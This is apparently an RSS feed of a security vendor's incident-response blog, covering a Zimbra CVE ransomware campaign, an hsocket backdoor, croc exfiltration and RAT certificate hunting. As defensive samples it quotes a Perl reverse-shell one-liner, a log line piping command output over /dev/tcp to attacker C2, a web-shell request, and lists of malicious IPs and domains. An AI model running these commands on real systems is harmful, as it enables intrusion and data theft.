<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>detect &#8211; PT ESC</title>
	<atom:link href="https://ptesc.tech/en/tag/detect/feed/" rel="self" type="application/rss+xml" />
	<link>https://ptesc.tech/en/</link>
	<description></description>
	<lastBuildDate>Mon, 05 Oct 2026 12:16:38 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=7.1.4</generator>

<image>
	<url>https://ptesc.tech/wp-content/uploads/2026/09/cropped-cropped-large_icon-32x32.png</url>
	<title>detect &#8211; PT ESC</title>
	<link>https://ptesc.tech/en/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Your Zimbra server is at risk</title>
		<link>https://ptesc.tech/en/your-zimbra-server-is-at-risk/</link>
		
		<dc:creator><![CDATA[oUth0R]]></dc:creator>
		<pubDate>Thu, 10 Sep 2026 16:23:41 +0000</pubDate>
				<category><![CDATA[Incident Response]]></category>
		<category><![CDATA[cve]]></category>
		<category><![CDATA[detect]]></category>
		<category><![CDATA[dfir]]></category>
		<category><![CDATA[ioc]]></category>
		<category><![CDATA[ir]]></category>
		<category><![CDATA[malware]]></category>
		<guid isPermaLink="false">https://ptesc.tech/%d0%b2%d0%b0%d1%88-%d1%81%d0%b5%d1%80%d0%b2%d0%b5%d1%80-zimbra-%d0%bf%d0%be%d0%b4-%d1%83%d0%b3%d1%80%d0%be%d0%b7%d0%be%d0%b9/</guid>

					<description><![CDATA[Recently, our PT ESC IR team encountered a new attack by ransomware groups on Zimbra mail servers using the vulnerability CVE-2026-73570 and the TargetZimbra encryptor. According to open-source information, similar attacks have been massive…]]></description>
										<content:encoded><![CDATA[<p>Recently, our PT ESC IR team encountered a new attack by ransomware groups on Zimbra mail servers using the vulnerability <a href="https://nvd.nist.gov/vuln/detail/cve-2026-73570" rel="noopener" target="_blank">CVE-2026-73570</a> and the TargetZimbra encryptor. According to open-source information, similar attacks have been massively recorded on Zimbra servers since mid-August.</p>
<p><em>Disclaimer: if you are using an outdated version of Zimbra software and have not found the below indicators of compromise for this specific TargetZimbra encryptor campaign on your mail server, this does not mean that your server is guaranteed not to be compromised. The vulnerability CVE-2026-73570 may be used by other threat actors, for example, to install miners, as well as by APT groups aimed at compromising the infrastructure of an entire organization.</p>
<p></em></p>
<blockquote>
<p>The vulnerability CVE-2026-73570 allows an attacker to inject and execute malicious commands on a Zimbra mail server with the privileges of the zimbra user without prior authentication as a result of insufficient input sanitization in the SNMP component.</p>
<p>For successful exploitation, the mail server must have a version of Zimbra Collaboration Suite below 10.1.20 installed, as well as the zimbra-snmp package installed and SNMP notifications enabled. The vulnerability is exploited by sending a specially crafted SMTP request through ports 25, 465, or 587.</p>
</blockquote>
<p>👀 <strong>Attack scenario:</p>
<p></strong>1. As a result of exploiting the vulnerability CVE-2026-73570, the threat actors create on the mail server the file <code>/opt/zimbra/jetty_base/webapps/zimbra/public/version.txt</code> (or <code>versions.txt</code>), containing information about the version of Zimbra software used on the server. The created file is an indicator for the attacker of successful exploitation of the vulnerability.</p>
<p>2. At the next stage, the threat actors upload JSP shells to the mail server directory <code>/opt/zimbra/jetty_base/webapps/zimbra/public/</code>. In addition, the deployment of the hacking tool Gsocket onto the server was recorded. We have previously written a detailed note about <a href="https://t.me/ptescalator/112" rel="noopener" target="_blank">how to detect the Gsocket tool</a>.</p>
<p>3. Next, the threat actors upload the TargetZimbra encryptor, written in the Go language. After launch, this malicious module encrypts files using the ChaCha20 algorithm in the /opt/zimbra/ directory and its subdirectories.</p>
<p>4. After encrypting the files, the encryptor changes their extension to <code>.elock</code>, and also creates in the encrypted directories the files <code>!README_RECOVER.txt</code>, containing contact information and details for paying a ransom to decrypt the data. Upon completion, the malicious module TargetZimbra deletes itself from the system.</p>
<p>📫 <strong>How to check your Zimbra mail server for signs of compromise?</p>
<p></strong>1. In the main system log of the mail service<code> /var/log/maillog</code>, entries containing the substring <code>changed from stopped to</code>, preceded by a shell command or other suspicious payload, are a sign of exploitation of the vulnerability CVE-2026-73570.</p>
<p>The following command can be used to search for malicious events on your server: <code>grep &quot;changed from stopped to&quot; /var/log/maillog</p>
<p></code>Example of executing the <code>id</code> command and transmitting its output to the attackers&#8217; C2 server:</p>
<pre><code>Aug 29 14:23:46 zimbra-server postfix/submission/smtpd[108829]: improper command pipelining after EHLO from unknown[[REDACTED_IP_1]]: : Service status change: h ;id&gt;/dev/tcp/[REDACTED_IP_2]/1337; changed from stopped to running\r\nQUIT\r\n  

- time of vulnerability exploitation: August 29, 2026 at 14:23:46; 
- [REDACTED_IP_1]: C2 address of the threat actors; 
- id&gt;/dev/tcp/[REDACTED_IP_2]/1337: command to execute on the system.</code></pre>
<p>2. The presence of non-standard JSP files that do not belong to the Zimbra software and were created or modified over the past months in the directory <code>/opt/zimbra/jetty_base/webapps/zimbra/</code> and all its subdirectories. Characteristic signs of malicious JSP files are the presence of obfuscated code, encoded strings, as well as atypical handling of GET and POST requests.</p>
<p>The following commands can be used to search for recently created or modified JSP files on your server:</p>
<p><code>find /opt/zimbra/jetty_base/webapps/zimbra/ -type f -iname &#039;*.jsp&#039; -newermt &#039;2026-07-01&#039;</code> (search by file modification date)</p>
<p><code>find /opt/zimbra/jetty_base/webapps/zimbra/ -type f -iname &#039;*.jsp&#039; -newerBt &#039;2026-07-01&#039;</code> (search by file creation date)</p>
<p><em>Note that not all Linux file systems store the file creation date. If the system does not track this timestamp, the find command will return an error.</p>
<p></em>Also scan the server with antivirus tools.</p>
<p>3. In the WEB server access log (for example, for the Nginx WEB server the standard location is <code>/var/log/nginx/access.log</code>), entries about access to non-standard JSP files (with response code 200) located in the directory <code>/opt/zimbra/jetty_base/webapps/zimbra/</code> and all its subdirectories (in particular, the frequently used directory <code>/opt/zimbra/jetty_base/webapps/zimbra/public/</code>) may indicate the presence of WEB shells on the mail server. If the WEB shell receives commands via a GET request, the transmitted command will be displayed in the log.</p>
<p>Example of output of the result of executing the <code>ls</code> command to the attacker&#8217;s browser:</p>
<pre><code>[REDACTED_IP] - - [29/Aug/2026:12:41:35 +0000] GET /public/bzng.jsp?p=ls HTTP/1.0 200 443 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 34889  

- [REDACTED_IP]: C2 address of the threat actors; 
- [29/Aug/2026:12:41:35 +0000]: time of access to the WEB shell; 
- public/bzng.jsp: location of the WEB shell; 
- ls: command being executed.</code></pre>
<p>In addition, while investigating the network infrastructure of the threat actors, we discovered WEB panels of the <a href="https://github.com/Ed1s0nZ/CyberStrikeAI" rel="noopener" target="_blank">CyberStrikeAI</a> platform hosted on several C2 servers (<em>screenshots 1 and 2</em>).</p>
<figure class="wp-block-image"><img width="1024" height="834" src="https://ptesc.tech/wp-content/uploads/2026/09/photo_616@10-09-2026_16-23-41-1024x834.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2026/09/photo_616@10-09-2026_16-23-41-1024x834.jpg 1024w, https://ptesc.tech/wp-content/uploads/2026/09/photo_616@10-09-2026_16-23-41-300x244.jpg 300w, https://ptesc.tech/wp-content/uploads/2026/09/photo_616@10-09-2026_16-23-41-768x625.jpg 768w, https://ptesc.tech/wp-content/uploads/2026/09/photo_616@10-09-2026_16-23-41.jpg 1045w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /><figcaption>Screenshot 1</figcaption></figure>
<p><code>CyberStrikeAI</code> is an open platform designed to automate penetration testing using AI.</p>
<figure class="wp-block-image"><img width="1024" height="523" src="https://ptesc.tech/wp-content/uploads/2026/09/photo_617@10-09-2026_16-23-41-1024x523.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2026/09/photo_617@10-09-2026_16-23-41-1024x523.jpg 1024w, https://ptesc.tech/wp-content/uploads/2026/09/photo_617@10-09-2026_16-23-41-300x153.jpg 300w, https://ptesc.tech/wp-content/uploads/2026/09/photo_617@10-09-2026_16-23-41-768x392.jpg 768w, https://ptesc.tech/wp-content/uploads/2026/09/photo_617@10-09-2026_16-23-41-1536x784.jpg 1536w, https://ptesc.tech/wp-content/uploads/2026/09/photo_617@10-09-2026_16-23-41-2048x1046.jpg 2048w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /><figcaption>Screenshot 2</figcaption></figure>
<p>The presence of a working platform on the attackers&#8217; C2 server may indicate its use both at individual stages of the attack (for example, initial server compromise) and throughout the entire incident.</p>
<p>💡 <strong>We recommend:</p>
<p></strong>1. Update the Zimbra software on your mail server to the current version. Ideally, also reinstall the server OS while migrating all mail data.</p>
<p>2. If a quick software update is not possible, a temporary solution may be to disable SNMP notifications and remove the <code>zimbra-snmp</code> package.</p>
<p>3. In addition, scan the mail server with antivirus tools, and also manually inspect non-standard JSP files created in recent months in Zimbra service directories.</p>
<p><strong>File indicators of compromise:</strong></p>
<blockquote>
<p><code>/opt/zimbra/jetty_base/webapps/zimbra/public/version.tx</code>t or <code>versions.txt</code> — a file containing the Zimbra software version;</p>
<p><code>/opt/zimbra/jetty_base/webapps/zimbra/public/[Filename].jsp</code> — WEB-shell;</p>
<p><code>/opt/zimbra/log/defunct</code> — Gsocket;</p>
<p><code>elockc[a-z]</code> (for example, <code>elockcl</code>) — ransomware;</p>
<p><code>runloop.sh</code> — a script created by the ransomware;</p>
<p><code>!README_RECOVER.txt</code> — a note from the attackers;</p>
<p><code>*.elock</code> — files with the <code>.elock</code> extension.</p>
</blockquote>
<p><strong>Network indicators of compromise:</strong></p>
<pre><code>135.136.63.63
139.28.49.138
146.70.169.246
193.24.211.91
193.32.126.168
31.177.110.136
37.32.73.156
64.62.156.162
64.62.156.222
64.62.156.94
88.214.21.183
89.116.171.182
89.117.94.35</code></pre>
<p><strong><br />
Gsocket:</strong></p>
<pre><code>*.gs.thc.org
gsocket.io
152.53.173.29
152.53.173.30
176.65.149.52
212.132.98.170
217.154.53.116
217.154.53.187
45.90.4.121
45.90.4.128
51.91.190.241
51.91.190.242</code></pre>
<p><span class="hashtag">#IR</span> <span class="hashtag">#CVE</span> <span class="hashtag">#Malware</span> <span class="hashtag">#detect</span> <span class="hashtag">#dfir</span> <span class="hashtag">#ioc</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>He&#039;s not your gsocket</title>
		<link>https://ptesc.tech/en/hes-not-your-gsocket/</link>
		
		<dc:creator><![CDATA[oUth0R]]></dc:creator>
		<pubDate>Tue, 08 Sep 2026 14:44:27 +0000</pubDate>
				<category><![CDATA[Incident Response]]></category>
		<category><![CDATA[detect]]></category>
		<category><![CDATA[dfir]]></category>
		<category><![CDATA[ioc]]></category>
		<category><![CDATA[ir]]></category>
		<category><![CDATA[malware]]></category>
		<guid isPermaLink="false">https://ptesc.tech/%d0%be%d0%bd-%d0%b2%d0%b0%d0%bc-%d0%bd%d0%b5-gsocket/</guid>

					<description><![CDATA[He's not gsocket to you 😑 During the investigation of one of the incidents, PT ESC IR specialists came across a rather curious tool called hsocket (not to be confused with gsocket). After gaining initial access and installing a web shell, t…]]></description>
										<content:encoded><![CDATA[<p><strong>He&#8217;s not gsocket to you</strong> 😑</p>
<p>During the investigation of one of the incidents, PT ESC IR specialists came across a rather curious tool called <code>hsocket</code> (not to be confused with <code>gsocket</code>).</p>
<p>After gaining initial access and installing a web shell, the attackers delivered three bash scripts to the compromised web server.</p>
<p>1️⃣ <code>hsocket</code> — a backdoor with the following functionality:</p>
<p>• launching an interactive command shell</p>
<p>• launching exploits for privilege escalation in Linux systems (PwnKit, Dirty Pipe, Dirty COW, Netfilter)</p>
<p>• scanning a directory for web shells and deleting them (likely to cover tracks)</p>
<p>• protecting files from deletion</p>
<p>• establishing a reverse shell connection to a command-and-control server using Perl code:</p>
<pre><code>perl -e &quot;use Socket;\$i=\&quot;$hsHOST\&quot;;\$p=$hsPORT;socket(S,PF_INET,SOCK_STREAM,
getprotobyname(&#039;tcp&#039;));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){
open(STDIN,&#039;&gt;&amp;S&#039;);open(STDOUT,&#039;&gt;&amp;S&#039;);open(STDERR,&#039;&gt;&amp;S&#039;);exec(&#039;sh -i&#039;);};&quot;</code></pre>
<p>• downloading and running scripts to search for misconfigurations in Linux and escalate privileges (linenum, linpeas)</p>
<p>2️⃣ <code>hfsm</code> — a file manager that allows interactive work with the file system: viewing, editing, and deleting files.</p>
<p>3️⃣ <code>.hsrc</code> — sets full read, write, and execute permissions on the hsocket and hfsm files, and also creates aliases for launching these scripts.</p>
<p>As part of this research, we managed to <a href="https://alexiregar.wordpress.com/" rel="noopener" target="_blank">find an article</a> written in Indonesian that described this malware.</p>
<p>Interestingly, the web shell installed on the compromised server also contained comments and strings in Indonesian:</p>
<pre><code>// Fungsi untuk tampilan halaman login
$Warning = &quot;### ⚠️Info!! Terdekteksi Aktivitas Dari&quot;;</code></pre>
<p>The web shell itself is a modified version of Gecko. This is indicated by the comments and characteristic lines of code:</p>
<pre><code>//------------------GECKO SHELL, RECODED BY AYANA--------------------//
&lt;!-- Gecko Folder File Manager --&gt;</code></pre>
<p><strong>IoC:</strong></p>
<pre><code>hsocket.io
/tmp/hs-data/</code></pre>
<p><span class="hashtag">#ir</span> <span class="hashtag">#dfir</span> <span class="hashtag">#detect</span> <span class="hashtag">#ioc</span> <span class="hashtag">#malware</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>We will croc you</title>
		<link>https://ptesc.tech/en/we-will-croc-you/</link>
		
		<dc:creator><![CDATA[oUth0R]]></dc:creator>
		<pubDate>Wed, 02 Sep 2026 18:56:38 +0000</pubDate>
				<category><![CDATA[Incident Response]]></category>
		<category><![CDATA[APT]]></category>
		<category><![CDATA[detect]]></category>
		<category><![CDATA[dfir]]></category>
		<category><![CDATA[ir]]></category>
		<category><![CDATA[tips]]></category>
		<guid isPermaLink="false">https://ptesc.tech/we-will-croc-you/</guid>

					<description><![CDATA[We will croc you 👻 PhantomCore continues to actively exploit misconfigurations in 1C to attack Russian organizations. We previously wrote about attacks on 1C using 1cshell (1, 2, 3). During the incident investigation, the PT ESC IR team dis…]]></description>
										<content:encoded><![CDATA[<p><strong>We will croc you </strong><strong>👻</strong></p>
<p>PhantomCore continues to actively exploit misconfigurations in 1C to attack Russian organizations. </p>
<p>We previously wrote about attacks on 1C using <code>1cshell</code> (<a href="https://t.me/ptescalator/276" rel="noopener" target="_blank">1</a>, <a href="https://t.me/ptescalator/383" rel="noopener" target="_blank">2</a>, <a href="https://t.me/ptescalator/385" rel="noopener" target="_blank">3</a>). </p>
<p>During the incident investigation, the PT ESC IR team discovered the compromise of a 1C server running on a Linux-family operating system 🐧</p>
<p>Among the characteristic indicators are the presence of malicious executable files in subdirectories of the home directory of the service user <code>usr1cv8</code> and commands in the <code>.bash_history</code> of the same user — in particular, viewing and deleting the file <code>res.txt</code>, into which the result of code execution via <code>1cshell</code> is written.</p>
<pre><code>/home/usr1cv8/.bash_history: cat res.txt

/home/usr1cv8/.bash_history: rm res.txt</code></pre>
<p>After gaining access to the system, PhantomCore installed a ReverseSSH tunnel, which is typical behavior for this group.</p>
<p>🕵️‍♂️ In addition to the frequently used tooling, we also encountered a more exotic utility, <code>croc</code>, designed for remote file upload and exfiltration.</p>
<p>On the investigated host, commands of the following format were discovered: <code>CROC_SECRET=[REDACTED] ./croc</code></p>
<p>With its help, the attackers could upload to the compromised host a file that had been previously sent via the web interface <code>https://getcroc.com/</code> (in the screenshot) or from another computer on which <code>croc</code> is installed.</p>
<p>💡 To search for traces of croc usage, you can look for an executable file with the corresponding name, as well as the use of the <code>CROC_SECRET</code> environment variable.</p>
<p>The domain <code>getcroc.com</code> can serve as a network indicator.</p>
<p><span class="hashtag">#ir</span> <span class="hashtag">#tip</span> <span class="hashtag">#apt</span> <span class="hashtag">#detect</span> <span class="hashtag">#dfir</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Hunting RATs by their own certificates 🕵️</title>
		<link>https://ptesc.tech/en/hunting-for-rats-by-their-own-certificates/</link>
		
		<dc:creator><![CDATA[ti_author]]></dc:creator>
		<pubDate>Thu, 02 Jul 2026 15:43:34 +0000</pubDate>
				<category><![CDATA[Threat Intelligence]]></category>
		<category><![CDATA[C2]]></category>
		<category><![CDATA[detect]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[rat]]></category>
		<category><![CDATA[suricata]]></category>
		<category><![CDATA[TI]]></category>
		<category><![CDATA[tls]]></category>
		<guid isPermaLink="false">https://ptesc.tech/hunting-for-rats-by-their-own-certificates/</guid>

					<description><![CDATA[Our colleagues at Censys published a breakdown of the AsyncRAT family, describing an entire genealogical tree: AsyncRAT → DCRAT (DarkCrystal RAT) → VenomRAT → dozens more forks all the way down to LMTeamRAT, Alfa Red Fox, EchoRAT, Gh0stRAT…]]></description>
										<content:encoded><![CDATA[<p>Our colleagues at Censys <a href="https://censys.com/blog/asyncrat-family-threat-overview/" rel="noopener" target="_blank">published</a> a breakdown of the AsyncRAT family, describing an entire genealogical tree: AsyncRAT → DCRAT (DarkCrystal RAT) → VenomRAT → dozens more forks all the way down to LMTeamRAT, Alfa Red Fox, EchoRAT, Gh0stRAT (not to be confused with the original Gh0st RAT from 2008), and so on. In total, they counted around 40 named variants, 13 of which had live C2 infrastructure at the time of the research.</p>
<p>The key takeaway of their research: forks almost never rewrite the TLS certificate of the server inherited from the parent. DCRAT brought into the family the structure <code>O=&lt;Name&gt; By &lt;author&gt;</code>, <code>L=SH</code>, <code>C=CN</code>, and this is inherited all the way down to the smallest descendants — even if the build itself is no longer branded in any other way. It is this pattern that Censys calls the most reliable signal for the entire lineage, regardless of the specific variant.</p>
<p>We, the network forensics department of the antivirus lab, already had experience detecting <strong>VenomRAT</strong> by its default certificate, and we even contributed a Suricata <a href="https://rules.ptsecurity.com/view/rules/ptopen-malware.rules#L135" rel="noopener" target="_blank">signature</a> to the community as part of the <strong>PT Rules</strong> project.</p>
<p>That is exactly why this research, naturally, caught our attention — and we decided to run similar logic not against an internet scan, but against traffic from our own sandboxes: what if we missed something?</p>
<p>We took our favorite NTA and ran the following query in it (an equivalent hunt can be done anywhere, even in a database):</p>
<pre><code>tls.server_cert.subject.value ~ &quot;*RAT*&quot; 
&amp;&amp; !tls.server_cert.subject.value ~ &quot;*CORPORAT*&quot; 
&amp;&amp; !tls.server_cert.subject.value ~ &quot;*INTEGRAT*&quot;</code></pre>
<p>(the exclusions are needed because <code>corporated</code>, <code>corporation</code>, or <code>integrator</code> will also happily match on <code>*RAT*</code> — hello, false positives)</p>
<p>The result was genuinely interesting: besides the aforementioned VenomRAT, a bunch of other C2 servers literally sign themselves.</p>
<p>For example, the progenitor AsyncRAT is not shy about signing itself as <code>AsyncRAT Server</code>:</p>
<figure class="wp-block-image"><img width="1024" height="682" src="https://ptesc.tech/wp-content/uploads/2026/07/photo_587@02-07-2026_15-43-34-1024x682.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2026/07/photo_587@02-07-2026_15-43-34-1024x682.jpg 1024w, https://ptesc.tech/wp-content/uploads/2026/07/photo_587@02-07-2026_15-43-34-300x200.jpg 300w, https://ptesc.tech/wp-content/uploads/2026/07/photo_587@02-07-2026_15-43-34-768x512.jpg 768w, https://ptesc.tech/wp-content/uploads/2026/07/photo_587@02-07-2026_15-43-34.jpg 1501w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<p>PureRAT pretends to be <code>PureRAT Agent</code>:</p>
<figure class="wp-block-image"><img width="1024" height="682" src="https://ptesc.tech/wp-content/uploads/2026/07/photo_588@02-07-2026_15-43-34-1024x682.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2026/07/photo_588@02-07-2026_15-43-34-1024x682.jpg 1024w, https://ptesc.tech/wp-content/uploads/2026/07/photo_588@02-07-2026_15-43-34-300x200.jpg 300w, https://ptesc.tech/wp-content/uploads/2026/07/photo_588@02-07-2026_15-43-34-768x512.jpg 768w, https://ptesc.tech/wp-content/uploads/2026/07/photo_588@02-07-2026_15-43-34.jpg 1501w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<p>LiberiumRAT signed itself a certificate under the name <code>Liberium RAT Authority</code>:</p>
<figure class="wp-block-image"><img width="1024" height="682" src="https://ptesc.tech/wp-content/uploads/2026/07/photo_589@02-07-2026_15-43-34-1024x682.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2026/07/photo_589@02-07-2026_15-43-34-1024x682.jpg 1024w, https://ptesc.tech/wp-content/uploads/2026/07/photo_589@02-07-2026_15-43-34-300x200.jpg 300w, https://ptesc.tech/wp-content/uploads/2026/07/photo_589@02-07-2026_15-43-34-768x512.jpg 768w, https://ptesc.tech/wp-content/uploads/2026/07/photo_589@02-07-2026_15-43-34.jpg 1501w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<p>A number of other, lesser-known samples all happily advertise their purpose right in the certificate.</p>
<h2>How to detect in Suricata?</h2>
<p>Similarly to our VenomRAT rule, you can key on the bytes <code>|3082|</code> — they appear at the start of the certificate, then <code>|550403|</code> — this is the encoded <code>ASN.1 Object ID 2.5.4.3 (id-at-commonName)</code>, and finally — the target string, for example:</p>
<pre><code>alert tls any any -&gt; any any (msg: &quot;REMOTE [PTsecurity] LiberiumRAT SSL certificate&quot;; flow: established, from_server; content: &quot;|3082|&quot;; depth: 300; content: &quot;|550403|&quot;; depth: 600; content: &quot;Liberium RAT&quot;; distance: 2; within: 12; classtype: trojan-activity; sid: 1; rev: 1;)</code></pre>
<figure class="wp-block-image"><img width="1024" height="682" src="https://ptesc.tech/wp-content/uploads/2026/07/photo_590@02-07-2026_15-43-34-1024x682.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2026/07/photo_590@02-07-2026_15-43-34-1024x682.jpg 1024w, https://ptesc.tech/wp-content/uploads/2026/07/photo_590@02-07-2026_15-43-34-300x200.jpg 300w, https://ptesc.tech/wp-content/uploads/2026/07/photo_590@02-07-2026_15-43-34-768x512.jpg 768w, https://ptesc.tech/wp-content/uploads/2026/07/photo_590@02-07-2026_15-43-34.jpg 1501w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<h2>And how to hunt, what to look at:</h2>
<ul>
<li><strong>Issuer/Subject</strong> of the form <code>CN=.*RAT.*</code> — as seen above, it works perfectly.</li>
<li><strong>The combination</strong> <code>L=SH</code>, <code>C=CN + O=* By *</code> on a non-standard port.</li>
<li><strong>Self-signed certificates in general</strong> — malware C2, unlike phishing sites, is not afraid of browser errors, so self-signing is used en masse.</li>
<li><strong>Signs of default generation</strong> — empty <code>O/L/ST</code>, <code>CN</code> duplicated in <code>SAN</code> or <code>Issuer</code> — <code>CN=example.com</code>, <code>O=Acme</code>.</li>
</ul>
<p>From the history of the issue — a similar trick was pulled back in 2023 with Quasar RAT: there, the default certificate <code>CN=Quasar Server CA</code> via Shodan/Censys led researchers straight to 60+ live servers. Nuff said.</p>
<p>The moral: a TLS certificate, when present of course, is metadata that remains in the clear even when all the rest of the traffic is encrypted. For some reason, the authors of RAT builders regularly forget about this 🙂</p>
<p>Happy hunting!</p>
<p><span class="hashtag">#TI</span> <span class="hashtag">#malware</span> <span class="hashtag">#RAT</span> <span class="hashtag">#C2</span> <span class="hashtag">#tls</span> <span class="hashtag">#detect</span> <span class="hashtag">#suricata</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Using IoC unconventionally. Part 2. Threat Landscape</title>
		<link>https://ptesc.tech/en/using-ioc-unconventionally-part-2-threat-landscape/</link>
		
		<dc:creator><![CDATA[global_author]]></dc:creator>
		<pubDate>Thu, 25 Dec 2025 16:17:35 +0000</pubDate>
				<category><![CDATA[Misc]]></category>
		<category><![CDATA[detect]]></category>
		<category><![CDATA[ioc]]></category>
		<category><![CDATA[tips]]></category>
		<guid isPermaLink="false">http://localhost:8080/%d0%b8%d1%81%d0%bf%d0%be%d0%bb%d1%8c%d0%b7%d1%83%d0%b5%d0%bc-ioc-%d0%bd%d0%b5%d1%81%d1%82%d0%b0%d0%bd%d0%b4%d0%b0%d1%80%d1%82%d0%bd%d0%be-%d1%87%d0%b0%d1%81%d1%82%d1%8c-2-%d0%bb%d0%b0%d0%bd%d0%b4/</guid>

					<description><![CDATA[Using IoC in a Non-Standard Way. Part 2. Threat Landscape 🧘‍♀️ Earlier, we discussed how to use indicators of compromise for Threat Hunting. This time, we’ll talk about the threat landscape and how to use IOC feeds to build it. Let us remin…]]></description>
										<content:encoded><![CDATA[<p><strong>Using IoC in a Non-Standard Way. Part 2. Threat Landscape</strong> 🧘‍♀️</p>
<p>Earlier, we <a href="https://t.me/ptescalator/506" rel="noopener" target="_blank">discussed</a> how to use indicators of compromise for Threat Hunting. This time, we’ll talk about the threat landscape and how to use IOC feeds to build it. <em>Let us remind you that the information security threat landscape is the set of actual and potential threats, vulnerabilities, and risks that can affect the security of an organization’s information systems.</em></p>
<p>Considering the relationship between IOC feeds and building an information security threat landscape, the following approach can be proposed. Over a given period of time, you can monitor incoming alerts triggered by indicators across all types of security tools. Then, having obtained a list of alerts, you can perform analytics on them: which malware families and threat groups the identified indicators are associated with, what vulnerabilities they exploit, etc. By studying this data, you will gain an initial understanding of who is targeting you specifically and how. Additionally, by examining the techniques implemented by the identified groups and families, you will obtain a current threat landscape.</p>
<p>The main advantages of this approach are its reliance on confirmed events and the ability to predict the next steps of specific attackers. However, there are also disadvantages: being tied to existing detections and limiting the analysis coverage to alerts from security tools. If a detection for a specific technique or threat is missing or fails to trigger, such activity may go unnoticed.</p>
<p>🤔 <strong>When analyzing real alerts, an analyst can answer a number of questions based on observed activity:<br />
</strong><br />
🔵 Which threat groups are targeting our organization? Are the threats associated with them relevant to us?</p>
<p>🔵 Which malware families have already been detected in our infrastructure, and what techniques do they implement?</p>
<p>🔵 What attack techniques have been used against us at different stages of the Cyber Kill Chain?</p>
<p>🔵 What vulnerabilities have attackers attempted to exploit? Are they relevant to us?</p>
<p>There is also a second approach to building it. It involves searching for potential threats without waiting for alerts, relying on data from TI systems and analytical reports. In this case, the focus shifts: instead of tracking specific attacks on the organization, the focus is on current attack patterns targeting companies in a particular economic sector or region. The logic is that if your organization operates within a specific industry in a specific country, then attacks characteristic of that industry and country will also pose a danger to you.</p>
<p>The volume of data in this approach is significantly larger, but along with this, visibility expands — covering both actual and potential risks. The analyst gains the ability to identify threats in advance, before incidents occur in their own infrastructure. <strong>And here, they can answer virtually the same questions, but on a broader scale:</strong></p>
<p>🔴 Which threat groups relevant to our economic sector/region are most active?</p>
<p>🔴 Which malware families are part of these groups’ arsenals and could potentially be used against us in the future?</p>
<p>🔴 What malicious techniques are characteristic of these groups at different stages of an attack? To what extent do they overlap with our current security tool detection coverage?</p>
<p>🔴 What vulnerabilities are being actively exploited in our economic sector/region? Are they relevant to us?</p>
<p>In practice, these two approaches are not opposed to each other but are used together. <strong>By combining actual alerts with threat information for the industry</strong> <strong>/</strong> <strong>region, an analyst can:<br />
</strong><br />
🔴 Identify which malicious techniques are relevant to the organization;</p>
<p>🔴 Determine which techniques remain undetected and require coverage;</p>
<p>🔴 Assess which threats are already relevant and which are highly likely to manifest in the future;</p>
<p>🔴 Map the vulnerabilities exploited by threat groups against the actual state of the infrastructure.</p>
<p>Building and analyzing a threat landscape is a good way to plan proactive measures for protecting information systems, develop a quality risk management strategy, and improve the overall level of information security in an organization.</p>
<p><span class="hashtag">#ioc</span> <span class="hashtag">#detect</span> <span class="hashtag">#tip</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Operation CyberPosi 🤔</title>
		<link>https://ptesc.tech/en/operation-cyberposi/</link>
		
		<dc:creator><![CDATA[oUth0R]]></dc:creator>
		<pubDate>Wed, 10 Dec 2025 13:27:52 +0000</pubDate>
				<category><![CDATA[Incident Response]]></category>
		<category><![CDATA[APT]]></category>
		<category><![CDATA[detect]]></category>
		<category><![CDATA[dfir]]></category>
		<category><![CDATA[ioc]]></category>
		<category><![CDATA[ir]]></category>
		<category><![CDATA[PhantomCore]]></category>
		<category><![CDATA[TI]]></category>
		<guid isPermaLink="false">http://localhost:8080/operation-cyberposi-%f0%9f%a4%94/</guid>

					<description><![CDATA[Operation CyberPosi 🤔 The PT ESC IR team, together with the Threat Intelligence team, is observing a new campaign by the APT group PhantomCore, in which the attackers are mass-compromising companies through a chain of vulnerabilities (BDU:2…]]></description>
										<content:encoded><![CDATA[<p><strong>Operation CyberPosi 🤔</strong></p>
